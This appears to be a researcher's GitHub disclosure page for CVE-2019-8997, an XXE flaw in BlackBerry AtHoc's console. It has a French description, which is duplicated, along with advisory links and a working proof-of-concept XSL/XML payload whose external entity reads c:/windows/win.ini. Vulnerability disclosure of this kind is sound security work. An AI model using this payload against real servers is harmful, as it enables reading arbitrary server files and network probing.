nxkennedy/cve-2019-8997
Une vulnérabilité d'injection d'entité externe XML (XXE) dans le système de gestion (console) de BlackBerry AtHoc versions antérieures à 7.6 HF-567 pourrait permettre à un attaquant de potentiellement lire des fichiers locaux arbitraires depuis le serveur d'application ou d'effectuer des requêtes sur le réseau en saisissant du XML malveillant dans un champ existant.
Une vulnérabilité d'injection d'entité externe XML (XXE) dans le système de gestion (console) de BlackBerry AtHoc versions antérieures à 7.6 HF-567 pourrait permettre à un attaquant de lire potentiellement des fichiers locaux arbitraires depuis le serveur d'application ou d'effectuer des requêtes sur le réseau en saisissant du XML malveillant dans un champ existant.
Nolan B. Kennedy (nxkennedy)
http://support.blackberry.com/kb/articleDetail?articleNumber=000047227
https://nvd.nist.gov/vuln/detail/CVE-2019-8997
https://www.nolanbkennedy.com/feed/xxe-vulnerability-blackberry-athoc
https://www.mindpointgroup.com/blog/pen-test/xxe-vulnerability-in-blackberry-athoc-networked-crisis-communication-platform/
<!DOCTYPE doc [
<!ELEMENT doc ANY >
<!ENTITY foo SYSTEM "file:///c:/windows/win.ini">
]>
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
version="1.0">
<xsl:output method="html" />
<xsl:template match="/">
<doc>&foo;</doc>
<head></head>
<body style="margin: 0; padding: 0;" oncontextmenu="return
false;"></body>
</xsl:template>
</xsl:stylesheet>